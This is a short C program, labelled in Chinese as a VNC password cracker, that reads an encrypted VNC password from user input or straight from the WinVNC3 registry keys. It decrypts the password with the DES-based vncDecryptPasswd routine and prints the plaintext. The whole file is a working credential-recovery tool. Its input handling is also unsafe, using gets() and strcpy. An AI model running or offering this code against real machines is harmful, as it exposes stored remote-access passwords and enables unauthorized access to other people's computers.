main.c

破解vnc密码的程序

//Coded by T-Error
#include "d3des.h"
#include "vncauth.h"
#include <stdio.h>
#include <conio.h>
#include <windows.h>
#include <winreg.h>
#include <string.h>


void main(void)
{
        //unsigned char what2get[10]={0xe4,0x96,0xcf,0xd7,0x90,0x1e,0x3a,0xb2};
        unsigned char what2get[10]={0,0,0,0,0,0,0,0,0,0};
        char s[80],c;
        char *decr;
        int v=0,i,j=0,en=0;
        long typex,bufsize=80;
        HKEY keyh;

        printf("Enter encrypted password for VNC or press enter to get it from registry\n"
               "In registry it resides \n"
                   "* in HKEY_CURRENT_USER\\Software\\ORL\\WinVNC3\\Password under windows 95 or \n");
        printf("* in HKEY_LOCAL_MACHINE\\SOFTWARE\\ORL\\WinVNC3\\Default\\Password under windows NT\n");
        printf("* in some 8 byte long filename under linux\n");
        printf("please enter in hex format , for example like this: E4 96 CF D7 90 1E 3A B2\n");
        printf("HEX ENTRY: ");
        gets(s);
        strcat(s," ");

        for(i=0;i<(strlen(s)+1);i++)
        {
          c=s[i]; c=tolower(c);
          if(c>='a' && c<='f'){
            v=v*16+c-'a'+10;en=1;
          }else{
            if(c>='0' && c<='9'){v=v*16+c-'0';en=1;}
            else{
              if(en){ what2get[j++]=v;v=0;en=0;} }
          }//if-else
        } //for

        if(!j){
                if(RegOpenKeyExA(HKEY_CURRENT_USER,"Software\\ORL\\WinVNC3",0,KEY_READ,&keyh)==ERROR_SUCCESS)
                {
                   RegQueryValueEx(keyh,"Password",0,&typex,what2get,&bufsize);
                   j=bufsize+1;
                   RegCloseKey(keyh);
                }else{ printf("\nError opening !\n");}
        }
      printf("Getting value for   : ");for(i=0;i<8;i++){ printf("%02X ",what2get[i]);}
      decr=vncDecryptPasswd(what2get);
      strcpy(what2get,decr);
      what2get[j]='\0';
      printf("\nAnd tze password is : \"%s\"\n",what2get);
      exit(0);

} //main